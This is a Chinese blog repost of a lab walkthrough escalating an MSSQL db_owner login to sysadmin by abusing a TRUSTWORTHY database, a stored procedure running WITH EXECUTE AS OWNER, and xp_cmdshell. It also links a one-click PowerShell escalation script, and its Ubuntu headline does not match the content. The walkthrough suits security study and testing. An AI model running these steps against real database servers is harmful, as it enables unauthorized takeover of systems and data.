ubuntu 最新提权漏洞_利用mssql受信用数据库提权
发布日期:2022-02-04 03:25:50 浏览次数:9 分类:技术文章

本文共 2139 字,大约阅读时间需要 7 分钟。

更多全球网络安全资讯尽在邑安全

0x01 前提

前提条件,我们获取sqlserver一个名为MyAppUser01 的用户密码,这个用户对MyTestdb01有db_owner权限,并且对MyTestdb01受信用,然后我们可以利用这个用户提权到syadmin权限

测试服务器版本

460c19f5663337447d1ddf93d19c3ab6.png

0x02创建用户,受信用数据库

1.创建数据库

CREATE DATABASE MyTestdb01 SELECT suser_sname(owner_sid) FROM sys.databases WHERE name = 'MyTestdb01'

24b32db1154c008af5a425963902d696.png

2.创建用户

创建一个测试用户

CREATE LOGIN MyAppUser01 WITH PASSWORD = 'MyPassword!';

07819b3c0238d68660dbdae31403807f.png

这里可以看到用户为public角色

3.在"MyTestdb01"数据库中为"MyAppUser01"分配"db_owner"角色,

DB_owner权限,DB是database的缩写,owner即拥有者的意思。它是指某个数据库的拥有者,它拥有了对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。

USE MyTestdb01 ALTER LOGIN [MyAppUser01] with default_database = [MyTestdb01]; CREATE USER [MyAppUser01] FROM LOGIN [MyAppUser01]; EXEC sp_addrolemember [db_owner], [MyAppUser01];

07819b3c0238d68660dbdae31403807f.png

4.确认"MyAppUser01"已添加为db_owner

select rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

83bd87cd48b5b830c2ad5868693ad358.png

Myappuser01确实为db_owner的权限

d8e5d46c8bda78c8e44d1439bf8e9817.png

查看myappusr01的属性也可以看到

5.将"MyTestdb01"数据库设置为受信任。

ALTER DATABASE MyTestdb01 SET TRUSTWORTHY ON

d87cbe8322cf107ed9e8ca4338f103c9.png

6.下面的查询将返回SQL Server实例中的所有数据库,并且应将"MyTestdb01 "和"MSDB"数据库标记为可信任。

SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;

cdd5acb54786d34f4fa828309c60ad84.png

"1"就是受信用

7.开启xp_cmdshell

EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO

3c5cf9473646a8a1ace35da45dc0b6f1.png

0x02 提权

1.使用MyAppUser01用户登录,新建查询,看看我们的权限,这里不要用之前的查询,因为那是sa的查询

看看我们的是否为sysadmin

bdec69b9ecfb5b199dcfdde225b73bb9.png

2.新建一个sp_elevate_me查询

USE MyTestdb01 GO CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser01','sysadmin' GO

19678fc10d4c29ba19e8e8399eea785c.png

3.提权至sysadmin

USE MyTestdb01 EXEC sp_elevate_me

44e4c0763eb703ff69d579f789251033.png

再次检查权限

d70fb3a18bc60fdbd9ebb0d0c9ab1b70.png

已经是sysadmin权限了,查看用户的属性也可以看到已经到sysadmin权限了

023cce3c673b633764f9c522c5f15b0a.png

这里可以利用脚本已经一键利用

https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1

首先我们先把sysadmin的权限取消掉,这里可以自行取消掉,但是要添加就会报错

79fe54e661d8b4243ad5246966c278d4.png

Invoke-SqlServer-Escalate-DbOwner -SqlUser MyAppUser01 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA

610f15129fa530cfd2865a6e99b852a6.png

成功提权!!

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

87ec98bc1e1cc3bcb7a1c0fd7782681f.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

转载地址:https://blog.csdn.net/weixin_39626369/article/details/111166179 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:win7语音识别组件安装_如何在WIN10上完美(曲折)的安装T3普及版?
下一篇:c++ 怎么读取rtf文件_C语言零基础入门文件

发表评论

最新留言

表示我来过!
[***.240.166.169]2024年04月02日 03时31分53秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章